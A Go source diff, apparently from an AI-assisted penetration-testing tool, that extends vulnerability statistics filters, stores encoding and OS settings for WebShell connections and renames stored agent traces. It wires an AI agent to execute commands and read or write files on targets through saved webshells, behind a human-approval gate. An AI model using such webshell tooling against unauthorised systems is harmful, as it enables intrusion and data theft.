vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.Severity, vuln.Status,
|
||||
vuln.Type, vuln.Target, vuln.Proof, vuln.Impact,
|
||||
vuln.Recommendation, vuln.UpdatedAt, id,
|
||||
)
|
||||
@@ -210,18 +244,24 @@ func (db *DB) DeleteVulnerability(id string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetVulnerabilityStats 获取漏洞统计
|
||||
func (db *DB) GetVulnerabilityStats(conversationID string) (map[string]interface{}, error) {
|
||||
// GetVulnerabilityStats 获取漏洞统计(筛选条件与 ListVulnerabilities / CountVulnerabilities 一致)
|
||||
func (db *DB) GetVulnerabilityStats(conversationID, taskID string) (map[string]interface{}, error) {
|
||||
stats := make(map[string]interface{})
|
||||
|
||||
where := "WHERE 1=1"
|
||||
args := []interface{}{}
|
||||
if conversationID != "" {
|
||||
where += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
where += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
|
||||
// 总漏洞数
|
||||
var totalCount int
|
||||
query := "SELECT COUNT(*) FROM vulnerabilities"
|
||||
args := []interface{}{}
|
||||
if conversationID != "" {
|
||||
query += " WHERE conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
query := "SELECT COUNT(*) FROM vulnerabilities " + where
|
||||
err := db.QueryRow(query, args...).Scan(&totalCount)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取总漏洞数失败: %w", err)
|
||||
@@ -229,11 +269,7 @@ func (db *DB) GetVulnerabilityStats(conversationID string) (map[string]interface
|
||||
stats["total"] = totalCount
|
||||
|
||||
// 按严重程度统计
|
||||
severityQuery := "SELECT severity, COUNT(*) FROM vulnerabilities"
|
||||
if conversationID != "" {
|
||||
severityQuery += " WHERE conversation_id = ?"
|
||||
}
|
||||
severityQuery += " GROUP BY severity"
|
||||
severityQuery := "SELECT severity, COUNT(*) FROM vulnerabilities " + where + " GROUP BY severity"
|
||||
|
||||
rows, err := db.Query(severityQuery, args...)
|
||||
if err != nil {
|
||||
@@ -253,11 +289,7 @@ func (db *DB) GetVulnerabilityStats(conversationID string) (map[string]interface
|
||||
stats["by_severity"] = severityStats
|
||||
|
||||
// 按状态统计
|
||||
statusQuery := "SELECT status, COUNT(*) FROM vulnerabilities"
|
||||
if conversationID != "" {
|
||||
statusQuery += " WHERE conversation_id = ?"
|
||||
}
|
||||
statusQuery += " GROUP BY status"
|
||||
statusQuery := "SELECT status, COUNT(*) FROM vulnerabilities " + where + " GROUP BY status"
|
||||
|
||||
rows, err = db.Query(statusQuery, args...)
|
||||
if err != nil {
|
||||
@@ -279,3 +311,59 @@ func (db *DB) GetVulnerabilityStats(conversationID string) (map[string]interface
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// GetVulnerabilityFilterOptions 获取漏洞筛选建议项
|
||||
func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
||||
collect := func(query string, args ...interface{}) ([]string, error) {
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
items := make([]string, 0)
|
||||
for rows.Next() {
|
||||
var val string
|
||||
if err := rows.Scan(&val); err != nil {
|
||||
continue
|
||||
}
|
||||
if val == "" {
|
||||
continue
|
||||
}
|
||||
items = append(items, val)
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
|
||||
vulnIDs, err := collect(`SELECT DISTINCT id FROM vulnerabilities ORDER BY created_at DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||
}
|
||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||
}
|
||||
taskIDs, err := collect(`SELECT DISTINCT id FROM batch_tasks WHERE id <> '' ORDER BY rowid DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询任务ID建议失败: %w", err)
|
||||
}
|
||||
queueIDs, err := collect(`SELECT DISTINCT queue_id FROM batch_tasks WHERE queue_id <> '' ORDER BY rowid DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询队列ID建议失败: %w", err)
|
||||
}
|
||||
conversationTags, err := collect(`SELECT DISTINCT conversation_tag FROM vulnerabilities WHERE conversation_tag IS NOT NULL AND conversation_tag <> '' ORDER BY conversation_tag LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询对话标签建议失败: %w", err)
|
||||
}
|
||||
taskTags, err := collect(`SELECT DISTINCT task_tag FROM vulnerabilities WHERE task_tag IS NOT NULL AND task_tag <> '' ORDER BY task_tag LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询任务标签建议失败: %w", err)
|
||||
}
|
||||
|
||||
return map[string][]string{
|
||||
"vulnerability_ids": vulnIDs,
|
||||
"conversation_ids": conversationIDs,
|
||||
"task_ids": taskIDs,
|
||||
"queue_ids": queueIDs,
|
||||
"conversation_tags": conversationTags,
|
||||
"task_tags": taskTags,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -16,6 +16,8 @@ type WebShellConnection struct {
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmdParam"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"` // 目标响应编码:auto / utf-8 / gbk / gb18030,空值视为 auto
|
||||
OS string `json:"os"` // 目标操作系统:auto / linux / windows,空值/未知视为 auto
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
}
|
||||
|
||||
@@ -58,7 +60,8 @@ func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) erro
|
||||
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
|
||||
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||
query := `
|
||||
SELECT id, url, password, type, method, cmd_param, remark, created_at
|
||||
SELECT id, url, password, type, method, cmd_param, remark,
|
||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||
FROM webshell_connections
|
||||
ORDER BY created_at DESC
|
||||
`
|
||||
@@ -72,7 +75,7 @@ func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||
var list []WebShellConnection
|
||||
for rows.Next() {
|
||||
var c WebShellConnection
|
||||
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
|
||||
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
if err != nil {
|
||||
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
|
||||
continue
|
||||
@@ -85,11 +88,12 @@ func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||
// GetWebshellConnection 根据 ID 获取一条连接
|
||||
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||
query := `
|
||||
SELECT id, url, password, type, method, cmd_param, remark, created_at
|
||||
SELECT id, url, password, type, method, cmd_param, remark,
|
||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||
FROM webshell_connections WHERE id = ?
|
||||
`
|
||||
var c WebShellConnection
|
||||
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
|
||||
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
@@ -103,10 +107,10 @@ func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||
// CreateWebshellConnection 创建 WebShell 连接
|
||||
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||
query := `
|
||||
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.CreatedAt)
|
||||
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
||||
if err != nil {
|
||||
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||
return err
|
||||
@@ -118,10 +122,10 @@ func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
|
||||
query := `
|
||||
UPDATE webshell_connections
|
||||
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?
|
||||
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
||||
WHERE id = ?
|
||||
`
|
||||
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.ID)
|
||||
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
||||
if err != nil {
|
||||
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||
return err
|
||||
|
||||
@@ -160,17 +160,17 @@ func runMCPToolInvocation(
|
||||
}
|
||||
|
||||
// UnknownToolReminderHandler 供 compose.ToolsNodeConfig.UnknownToolsHandler 使用:
|
||||
// 模型请求了未注册的工具名时,返回一个「可恢复」的错误,让上层 runner 触发重试与纠错提示,
|
||||
// 同时避免 UI 永远停留在“执行中”(runner 会在 recoverable 分支 flush 掉 pending 的 tool_call)。
|
||||
// 模型请求了未注册的工具名时,返回一个「软错误」工具结果(nil error),
|
||||
// 让模型在同一轮继续自我修正,避免触发 run-loop 级别的 full rerun。
|
||||
// 不进行名称猜测或映射,避免误执行。
|
||||
func UnknownToolReminderHandler() func(ctx context.Context, name, input string) (string, error) {
|
||||
return func(ctx context.Context, name, input string) (string, error) {
|
||||
_ = ctx
|
||||
_ = input
|
||||
requested := strings.TrimSpace(name)
|
||||
// Return a recoverable error that still carries a friendly, bilingual hint.
|
||||
// This will be caught by multiagent runner as "tool not found" and trigger a retry.
|
||||
return "", fmt.Errorf("tool %q not found: %s", requested, unknownToolReminderText(requested))
|
||||
// Return a soft tool-result error so the graph keeps running and the LLM
|
||||
// can correct tool name/arguments within the same run.
|
||||
return ToolErrorPrefix + unknownToolReminderText(requested), nil
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+94
-104
@@ -184,6 +184,14 @@ func (h *AgentHandler) SetHitlToolWhitelistSaver(s HitlToolWhitelistSaver) {
|
||||
h.hitlWhitelistSaver = s
|
||||
}
|
||||
|
||||
// HITLNeedsToolApproval 供 C2 危险任务门控:与会话侧人机协同及免审批白名单判定一致。
|
||||
func (h *AgentHandler) HITLNeedsToolApproval(conversationID, toolName string) bool {
|
||||
if h == nil || h.hitlManager == nil {
|
||||
return false
|
||||
}
|
||||
return h.hitlManager.NeedsToolApproval(conversationID, toolName)
|
||||
}
|
||||
|
||||
// ChatAttachment 聊天附件(用户上传的文件)
|
||||
type ChatAttachment struct {
|
||||
FileName string `json:"fileName"` // 展示用文件名
|
||||
@@ -497,10 +505,10 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
defer h.hitlManager.DeactivateConversation(conversationID)
|
||||
}
|
||||
|
||||
// 优先尝试从保存的ReAct数据恢复历史上下文
|
||||
agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
|
||||
// 优先尝试从保存的代理轨迹恢复历史上下文
|
||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
h.logger.Warn("从ReAct数据加载历史消息失败,使用消息表", zap.Error(err))
|
||||
h.logger.Warn("从代理轨迹加载历史消息失败,使用消息表", zap.Error(err))
|
||||
// 回退到使用数据库消息表
|
||||
historyMessages, err := h.db.GetMessages(conversationID)
|
||||
if err != nil {
|
||||
@@ -518,7 +526,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
h.logger.Info("从消息表加载历史消息", zap.Int("count", len(agentHistoryMessages)))
|
||||
}
|
||||
} else {
|
||||
h.logger.Info("从ReAct数据恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
|
||||
h.logger.Info("从代理轨迹恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
|
||||
}
|
||||
|
||||
// 校验附件数量(非流式)
|
||||
@@ -539,12 +547,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "未找到该 WebShell 连接"})
|
||||
return
|
||||
}
|
||||
remark := conn.Remark
|
||||
if remark == "" {
|
||||
remark = conn.URL
|
||||
}
|
||||
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。\n\n用户请求:%s",
|
||||
conn.ID, remark, conn.ID, req.Message)
|
||||
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, req.Message)
|
||||
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
|
||||
if req.Role != "" && req.Role != "默认" && h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
|
||||
@@ -613,12 +616,12 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
if err != nil {
|
||||
h.logger.Error("Agent Loop执行失败", zap.Error(err))
|
||||
|
||||
// 即使执行失败,也尝试保存ReAct数据(如果result中有)
|
||||
if result != nil && (result.LastReActInput != "" || result.LastReActOutput != "") {
|
||||
if saveErr := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); saveErr != nil {
|
||||
h.logger.Warn("保存失败任务的ReAct数据失败", zap.Error(saveErr))
|
||||
// 即使执行失败,也尝试保存代理轨迹(如果 result 中有)
|
||||
if result != nil && (result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "") {
|
||||
if saveErr := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); saveErr != nil {
|
||||
h.logger.Warn("保存失败任务的代理轨迹失败", zap.Error(saveErr))
|
||||
} else {
|
||||
h.logger.Info("已保存失败任务的ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存失败任务的代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -634,12 +637,12 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
// 因为AI已经生成了回复,用户应该能看到
|
||||
}
|
||||
|
||||
// 保存最后一轮ReAct的输入和输出
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存ReAct数据失败", zap.Error(err))
|
||||
// 保存最后一轮代理轨迹与助手输出
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -666,7 +669,7 @@ func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationI
|
||||
}
|
||||
}
|
||||
|
||||
agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
|
||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
historyMessages, getErr := h.db.GetMessages(conversationID)
|
||||
if getErr != nil {
|
||||
@@ -722,6 +725,7 @@ func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationI
|
||||
"deep",
|
||||
)
|
||||
if errMA != nil {
|
||||
h.persistEinoAgentTraceForResume(conversationID, resultMA)
|
||||
errMsg := "执行失败: " + errMA.Error()
|
||||
if assistantMessageID != "" {
|
||||
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
|
||||
@@ -747,8 +751,8 @@ func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationI
|
||||
h.logger.Warn("机器人:保存助手消息失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
if resultMA.LastReActInput != "" || resultMA.LastReActOutput != "" {
|
||||
_ = h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput)
|
||||
if resultMA.LastAgentTraceInput != "" || resultMA.LastAgentTraceOutput != "" {
|
||||
_ = h.db.SaveAgentTrace(conversationID, resultMA.LastAgentTraceInput, resultMA.LastAgentTraceOutput)
|
||||
}
|
||||
return resultMA.Response, conversationID, nil
|
||||
}
|
||||
@@ -782,8 +786,8 @@ func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationI
|
||||
h.logger.Warn("机器人:保存助手消息失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
_ = h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput)
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
_ = h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput)
|
||||
}
|
||||
return result.Response, conversationID, nil
|
||||
}
|
||||
@@ -1359,10 +1363,10 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
}
|
||||
ssePublishConversationID = conversationID
|
||||
|
||||
// 优先尝试从保存的ReAct数据恢复历史上下文
|
||||
agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
|
||||
// 优先尝试从保存的代理轨迹恢复历史上下文
|
||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
h.logger.Warn("从ReAct数据加载历史消息失败,使用消息表", zap.Error(err))
|
||||
h.logger.Warn("从代理轨迹加载历史消息失败,使用消息表", zap.Error(err))
|
||||
// 回退到使用数据库消息表
|
||||
historyMessages, err := h.db.GetMessages(conversationID)
|
||||
if err != nil {
|
||||
@@ -1380,7 +1384,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
h.logger.Info("从消息表加载历史消息", zap.Int("count", len(agentHistoryMessages)))
|
||||
}
|
||||
} else {
|
||||
h.logger.Info("从ReAct数据恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
|
||||
h.logger.Info("从代理轨迹恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
|
||||
}
|
||||
|
||||
// 校验附件数量
|
||||
@@ -1399,12 +1403,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
sendEvent("error", "未找到该 WebShell 连接", nil)
|
||||
return
|
||||
}
|
||||
remark := conn.Remark
|
||||
if remark == "" {
|
||||
remark = conn.URL
|
||||
}
|
||||
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。\n\n用户请求:%s",
|
||||
conn.ID, remark, conn.ID, req.Message)
|
||||
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, req.Message)
|
||||
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
|
||||
if req.Role != "" && req.Role != "默认" && h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
|
||||
@@ -1579,12 +1578,12 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
h.db.AddProcessDetail(assistantMessageID, conversationID, "cancelled", cancelMsg, nil)
|
||||
}
|
||||
|
||||
// 即使任务被取消,也尝试保存ReAct数据(如果result中有)
|
||||
if result != nil && (result.LastReActInput != "" || result.LastReActOutput != "") {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的ReAct数据失败", zap.Error(err))
|
||||
// 即使任务被取消,也尝试保存代理轨迹(如果 result 中有)
|
||||
if result != nil && (result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "") {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的代理轨迹失败", zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存取消任务的ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存取消任务的代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1614,12 +1613,12 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
h.db.AddProcessDetail(assistantMessageID, conversationID, "timeout", timeoutMsg, nil)
|
||||
}
|
||||
|
||||
// 即使任务超时,也尝试保存ReAct数据(如果result中有)
|
||||
if result != nil && (result.LastReActInput != "" || result.LastReActOutput != "") {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存超时任务的ReAct数据失败", zap.Error(err))
|
||||
// 即使任务超时,也尝试保存代理轨迹(如果 result 中有)
|
||||
if result != nil && (result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "") {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存超时任务的代理轨迹失败", zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存超时任务的ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存超时任务的代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1649,12 +1648,12 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errorMsg, nil)
|
||||
}
|
||||
|
||||
// 即使任务失败,也尝试保存ReAct数据(如果result中有)
|
||||
if result != nil && (result.LastReActInput != "" || result.LastReActOutput != "") {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存失败任务的ReAct数据失败", zap.Error(err))
|
||||
// 即使任务失败,也尝试保存代理轨迹(如果 result 中有)
|
||||
if result != nil && (result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "") {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存失败任务的代理轨迹失败", zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存失败任务的ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存失败任务的代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1694,12 +1693,12 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 保存最后一轮ReAct的输入和输出
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存ReAct数据失败", zap.Error(err))
|
||||
// 保存最后一轮代理轨迹与助手输出
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存ReAct数据", zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存代理轨迹", zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2499,6 +2498,9 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
cancel()
|
||||
|
||||
if runErr != nil {
|
||||
if useRunResult {
|
||||
h.persistEinoAgentTraceForResume(conversationID, resultMA)
|
||||
}
|
||||
// 检查是否是取消错误
|
||||
// 1. 直接检查是否是 context.Canceled(包括包装后的错误)
|
||||
// 2. 检查错误消息中是否包含"context canceled"或"cancelled"关键字
|
||||
@@ -2542,14 +2544,14 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
h.logger.Warn("保存取消消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(errMsg))
|
||||
}
|
||||
}
|
||||
// 保存ReAct数据(如果存在)
|
||||
if result != nil && (result.LastReActInput != "" || result.LastReActOutput != "") {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
// 保存代理轨迹(如果存在)
|
||||
if result != nil && (result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "") {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的代理轨迹失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
}
|
||||
} else if useRunResult && resultMA != nil && (resultMA.LastReActInput != "" || resultMA.LastReActOutput != "") {
|
||||
if err := h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
} else if useRunResult && resultMA != nil && (resultMA.LastAgentTraceInput != "" || resultMA.LastAgentTraceOutput != "") {
|
||||
if err := h.db.SaveAgentTrace(conversationID, resultMA.LastAgentTraceInput, resultMA.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存取消任务的代理轨迹失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "cancelled", cancelMsg, "", conversationID)
|
||||
@@ -2581,13 +2583,13 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
if useRunResult {
|
||||
resText = resultMA.Response
|
||||
mcpIDs = resultMA.MCPExecutionIDs
|
||||
lastIn = resultMA.LastReActInput
|
||||
lastOut = resultMA.LastReActOutput
|
||||
lastIn = resultMA.LastAgentTraceInput
|
||||
lastOut = resultMA.LastAgentTraceOutput
|
||||
} else {
|
||||
resText = result.Response
|
||||
mcpIDs = result.MCPExecutionIDs
|
||||
lastIn = result.LastReActInput
|
||||
lastOut = result.LastReActOutput
|
||||
lastIn = result.LastAgentTraceInput
|
||||
lastOut = result.LastAgentTraceOutput
|
||||
}
|
||||
|
||||
// 更新助手消息内容
|
||||
@@ -2618,12 +2620,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
}
|
||||
}
|
||||
|
||||
// 保存ReAct数据
|
||||
// 保存代理轨迹
|
||||
if lastIn != "" || lastOut != "" {
|
||||
if err := h.db.SaveReActData(conversationID, lastIn, lastOut); err != nil {
|
||||
h.logger.Warn("保存ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
if err := h.db.SaveAgentTrace(conversationID, lastIn, lastOut); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
|
||||
} else {
|
||||
h.logger.Info("已保存ReAct数据", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
|
||||
h.logger.Info("已保存代理轨迹", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2642,36 +2644,33 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
}
|
||||
}
|
||||
|
||||
// loadHistoryFromReActData 从保存的ReAct数据恢复历史消息上下文
|
||||
// 采用与攻击链生成类似的拼接逻辑:优先使用保存的last_react_input和last_react_output,若不存在则回退到消息表
|
||||
